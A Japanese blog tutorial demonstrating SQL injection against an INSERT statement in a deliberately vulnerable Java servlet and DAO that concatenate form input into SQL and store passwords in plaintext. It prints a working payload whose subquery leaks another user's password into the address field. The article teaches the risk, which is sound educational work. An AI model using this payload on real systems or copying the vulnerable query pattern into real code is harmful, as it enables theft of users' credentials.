
本記事では「SQLインジェクション」の対策をしていないと、どのような被害に遭うのか具体的なINSERT文への攻撃例を紹介していきます。

スポンサーリンク
目次
INSERT文への「SQLインジェクション」攻撃例
INSERT文への簡単な攻撃例を紹介します。
よくある登録画面に以下の文字列を入力して「登録」します。
- 名前:テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1)) -- 終わり
- 住所:任意の文字列(空でも平気)※画面例は空
次に登録内容を画面に表示させると、住所の所に登録していない値が表示されています。
この「password01」というのは「SQLインジェクション」攻撃により情報漏洩したデータです。

スポンサーリンク
SQLインジェクション攻撃を検証するための事前準備
SQLインジェクション攻撃を検証するための、事前準備は以下の通りです。
※Javaで簡易的なサーブレットで作成しています。
データベース
前提条件として以下の2つのテーブルがあるとします。CREATE文は以下の通り。
◆ユーザー情報TBL(users)
CREATE TABLE `sampledb`.`users` ( `id` INT NOT NULL AUTO_INCREMENT, `name` VARCHAR(100) NULL, `address` VARCHAR(255) NULL, PRIMARY KEY (`id`));
◆ユーザーパスワードTBL(user_password)
CREATE TABLE `sampledb`.`user_password` ( `id` INT NOT NULL AUTO_INCREMENT, `user_id` INT NOT NULL, `user_password` VARCHAR(255) NOT NULL, PRIMARY KEY (`id`));
そして「user_password」テーブルには以下のデータを作成しておきます。※このデータを「SQLインジェクション」の攻撃で盗み取ることを目的とします。
※通常パスワードは「ハッシュ化」してDBに格納するのが一般的ですが、ここではあえて平文で登録しています。
id | user_id | user_password |
1 | 1 | password01 |
HTML画面
「登録画面」と「登録完了画面」を用意。「登録画面」で入力し登録された結果を「登録完了画面」に表示する流れです。
◆登録画面イメージ図
◆登録画面ソースコード
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>登録画面</title> </head> <body> <form action="/SampleProject/AddServlet" method="post"> 名前:<input type="text" name="name" size="100"/><br /> 住所:<input type="text" name="address" size="100" /><br /> <input type="submit" value="登録" /> </form> </body> </html>
◆登録完了画面イメージ図
◆登録完了画面ソースコード
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% // Servletのデータ受け取り request.setCharacterEncoding("UTF-8"); String id = (String) request.getAttribute("id"); String name = (String) request.getAttribute("name"); String address = (String) request.getAttribute("address"); %> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>登録完了</title> </head> <body> 以下の内容で登録されました。<br /> ID:<%=id%><br /> 名前:<%=name%><br /> 住所:<%=address%><br /><br /> <a href="http://localhost:8080/SampleProject/add.jsp">登録画面へ</a> </body> </html>
サーブレット
◆登録用サーブレット
package servlet; import java.io.IOException; import javax.servlet.RequestDispatcher; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import dao.UsersDao; import entity.Users; /** * 登録処理サーブレット */ @WebServlet("/AddServlet") public class AddServlet extends HttpServlet { private static final long serialVersionUID = 1L; public AddServlet() { super(); } /** * 登録処理 */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); String name = request.getParameter("name"); String address = request.getParameter("address"); UsersDao dao = new UsersDao(); // データ登録 String id = dao.add(name, address); if (id != null) { // 登録したデータを抽出 Users users = dao.getOne(id); request.setAttribute("id", users.getId()); request.setAttribute("name", users.getName()); request.setAttribute("address", users.getAddress()); } // 画面遷移 RequestDispatcher dispatcher = request.getRequestDispatcher("index.jsp"); dispatcher.forward(request, response); } }
◆エンティティ
package entity; import java.io.Serializable; public class Users implements Serializable { private String id; private String name; private String address; public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } }
◆データアクセス
package dao; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import entity.Users; public class UsersDao { private Connection getConnection() throws Exception { Class.forName("com.mysql.jdbc.Driver"); Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/sampledb?characterEncoding=UTF-8&serverTimezone=Asia/Tokyo","root","password"); conn.setAutoCommit(false); return conn; } /** * データ取得 */ public Users getOne(String id) { Users users = null; try { Connection conn = null; PreparedStatement ps = null; ResultSet rs = null; try { conn = getConnection(); String sql = "SELECT * FROM sampledb.users WHERE id = '" + id + "';"; ps = conn.prepareStatement(sql); rs = ps.executeQuery(); if (rs.next()) { users = new Users(); users.setId(rs.getString("id")); users.setName(rs.getString("name")); users.setAddress(rs.getString("address")); } } catch (SQLException e){ if (conn != null) { conn.rollback(); } System.out.println(e); } finally { if (conn != null) { conn.close(); } if (ps != null) { ps.close(); } if (rs != null) { rs.close(); } } } catch (Exception e){ System.out.println(e); } return users; } /** * データ登録 */ public String add(String name, String address) { String autoIncKey = null; try { Connection conn = null; PreparedStatement ps = null; ResultSet rs = null; try { conn = getConnection(); String sql = "INSERT INTO users (name,address) VALUES ('" + name + "','" + address +"')"; ps = conn.prepareStatement(sql,Statement.RETURN_GENERATED_KEYS); ps.executeUpdate(); rs = ps.getGeneratedKeys(); if (rs.next()) { autoIncKey = String.valueOf(rs.getInt(1)); } conn.commit(); } catch (SQLException e){ if (conn != null) { conn.rollback(); } System.out.println(e); } finally { if (conn != null) { conn.close(); } if (ps != null) { ps.close(); } if (rs != null) { rs.close(); } } } catch (Exception e){ System.out.println(e); } return autoIncKey; } }
スポンサーリンク
INSERT文への「SQLインジェクション」攻撃の解説

登録画面で以下のデータを入力し登録します。
- 名前:テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1)) -- 終わり
- 住所:任意の文字列(空でも平気)※画面例は空
ユーザー情報TBL(users)へのINSERT文は以下です。
INSERT INTO users (name,address) VALUES ('" + name + "','" + address +"')
このINSERT文に画面から入力されたデータを代入すると以下となります。
INSERT INTO users (name,address) VALUES ('テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1)) -- 終わり','')
- まず「カラム:name」には「テスト名前」が登録されます。
- 次に「カラム:address」には「(select user_password from sampledb.user_password where id='1' limit 0,1)」という文字列が入っています。この文字列は、ユーザーパスワードTBL(user_password)から「id = 1」の条件と一致する「user_password」を取得するサブクエリです。
- その結果、「カラム:address」には「password01」が登録されます。
- そして、INSERT文の最後にある「-- 終わり','')」という文字列。これは「-- 」から後ろはコメントアウトという意味です。
結果、実際に実行されたINSERT文(コメントアウト部分を除く)は、以下と同じです。
INSERT INTO users (name,address) VALUES ('テスト名前', (select user_password from sampledb.user_password where id='1' limit 0,1))
そして、登録内容を閲覧する画面で登録データを見ると、住所の所に「password01」が表示される流れです。

これで、他人の個人情報(※今回の例はパスワード)を盗み取る事に成功。
このように「テーブル名」や「カラム名」が分かっていれば「サブクエリ」を使い簡単に個人情報を盗み取る事が可能であり、深刻な被害にあう危険性があるのです。

-
SQLインジェクションとは | 具体的な攻撃例と対策方法
続きを見る